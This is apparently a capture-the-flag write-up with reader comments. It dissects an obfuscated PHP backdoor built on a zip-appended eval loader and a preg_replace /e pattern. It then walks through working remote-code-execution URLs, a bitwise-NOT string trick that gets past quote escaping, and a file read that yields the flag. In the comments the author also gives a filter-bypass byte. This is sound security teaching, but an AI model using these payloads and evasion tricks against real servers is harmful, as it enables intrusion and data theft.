You found a backdoor on Captain Brainfuck’s webspace. Exploit it and read his secret file!
The page only says ‘happy hacking’, so what would we be doing without its source… [source mirror]
“Source” in fact is a zip archive with php code appended:
PK <..zip binary trash..> <?php @ob_clean();$z=zip_open(__FILE__); eval($f=zip_entry_read(zip_read($z),1000));@ob_end_flush();?>
It simply reads itself (the zip part), unpacks and executes it. The packed source is below, edited to be readable:
<?php /* hacklu ctf*/ class _ { public $x = null; function __construct() { $this->x = "r"; } function __destruct() { @call_user_func("phpinfo()", $x); } } $omni = "/(?:@[\w-]+\s*\()|(?:]\s*\(\s*[\"!]\s*\w)|"; $t = 1; $a = preg_replace('/\$/', "", $a = @$_SERVER[PHP_SELF]); $_ = create_function('$_,$o', '$chr = @unserialize(); return ${chr($_−−)};'); $_--; $l = levenshtein(__DIR__, $a); $l = new _(); $r = $l->x; $multi = "(?:<[?%](?:php)?(.*)(?:[?%]>)?)" . '|(?:;[\s\w|]*\\$\w+\s*=)'; $o = substr($f, 198, 12); $semi = "|(?:\$\w+\s*=(?:(?:\s*\$?\w+\s*[(;])|"; $semi .= "\s*\".*\"))|" . '(?:;\s*\{\W*\w+\s*\()/'; $_ = ${$_(str_repeat($t, 3), "o" . __METHOD__)}('$omni.' . $multi . '.$semi', '$' . $t, __CLASS__ . $a); printf("%s", die("happy hacking")); ?>
Let’s examine what does this code do. I’ll write some comments on lines that i find non-trivial:
$a = preg_replace(‘/\$/‘, “”, $a = @$_SERVER[PHP_SELF]);
Strips all $ chars from $_SERVER[‘PHP_SELF’] and stores it into $a.
$_SERVER[‘PHP_SELF’] contains the script name from query to http server.
For example:
https://213.251.165.94/Brainfuck/login.php
$_SERVER[‘PHP_SELF’] == “/Brainfuck/login.php”
https://213.251.165.94/Brainfuck/login.php/preved
$_SERVER[‘PHP_SELF’] == “/Brainfuck/login.php/preved”, although the executed script is login.php
$_ = create_function(‘$_,$o’, ‘$chr = @unserialize();
return ${chr($_−−)};’);
Defines a new lambda function, that takes two arguments $_, $o and returns the value of variable thats name is character with code of function’s first argument %-)
To simplify, an example: func(65, 0) == $A (because chr(65) == “A”).
Oh, and the lambda func is stored into variable $_
$o = substr($f, 198, 12);
Gets part of string stored in $f, and $f doesn’t have a definition in the code. Hm, strange…
At first I thought it should be assigned via register_globals, but then i looked into original unzip code, and saw this:
eval($f=zip_entry_read(zip_read($z),1000));
So $f is the executing code itself, and $o gets “preg_replace”
Okay, the fun part :)
$_ = ${$_(str_repeat($t, 3), “o” . __METHOD__)}(‘$omni.’ . $multi
. ‘.$semi’, ‘$’ . $t, __CLASS__ . $a)
str_repeat($t, 3) == “111”
“o” . __METHOD__ == “o” (__METHOD__ is empty outside a class)
$_(str_repeat($t, 3), “o” . __METHOD__) == $_(111, “o”) == ${chr(111)} == $o == “preg_replace” (remember our lambda function?)
$_{“preg_replace”}( …. ) is invoking the function preg_replace, so 1st parameter is regexp, 2nd is replacement value and 3rd is target string
1st param == ‘$omni.’ . $multi . ‘.$semi’ == ‘$omni.(?:<[?%](?:php)?(.*)(?:[?%]>)?)|(?:;[\s\w|]*\\$\w+\s*=).$semi’, a regexp that matches for example a string:
omnia<%php12345 and after matching $1 == “12345”
2nd param == ‘$’ . $t == ‘$1’, meaning the first regexp match ($1)
3rd param == __CLASS__ . $a == $a (__CLASS__ is also empty), $a contains $_SERVER[‘PHP_SELF’]
And thanks to E flag ($bla bla bla$sEmi) of regexp, the $1 match gets executed as php code!
Well, putting all of this together, the URL to get arbitrary code executed on the server is:
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpCODE
Let’s try this with phpinfo();: [click] – works brilliantly!
Now let’s get a directory listing. We can’t use system(): safe_mode is On, so we gonna stick to raw php code:
print_r(glob(‘*’))
Oops, a problem! The quotes get escaped and our code doesn’t execute. And we can’t use * without quotes, because it can’t be a name of a constant.
I used an awesome php string trick to overcome this limitation:
1. ~string means a string in which all bits are inverted. E.g. ~”preved” == “\x8F\x8D\x9A\x89\x9A\x9B”
2. BLABLA gets converted into “BLABLA” if constant BLABLA doesn’t exist and name consists of legal chars for constant name: [a-zA-Z0-9_-] and [\x80-\xFF]
When the string consists of basic ascii chars (0-127), it’s negated twin securely consists only of [\x80-\xFF] chars, and will be converted to string even without quotes.
Returning to the task, ‘*’ == ~”\xD5″ == ~%D5
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpprint_r(glob(~%D5)) does its work:
“Array ( [0] => login.php [1] => login.phps [2] => secretKeyStore )”
You can read the secretKeyStore file without any string tricks:
https://213.251.165.94/Brainfuck/login.php/omnia%3C%25phpreadfile(secretKeyStore)
“congrats! your key: b12d2dc97ff4f4b52fa7dbdb6210d517“
4 comments
Skip to comment form
hello, nice post…but i got a question
is it possible to generate sucha byte that will become a . in the end?
i mean…its just a game my friend is playing with me… and the . is restricted but needed….
thank you!
hello,
is it possible to generate such a bit that will pass an php explode(“.”…) and become a . then?
Author
Hey. If i understood correctly, ~%D1 will give you a “.”
sorry, i didnt know where to put things.
maybe you wanna have a look here
http://tasteless.phpnet.us/level_12.php
great writeup :P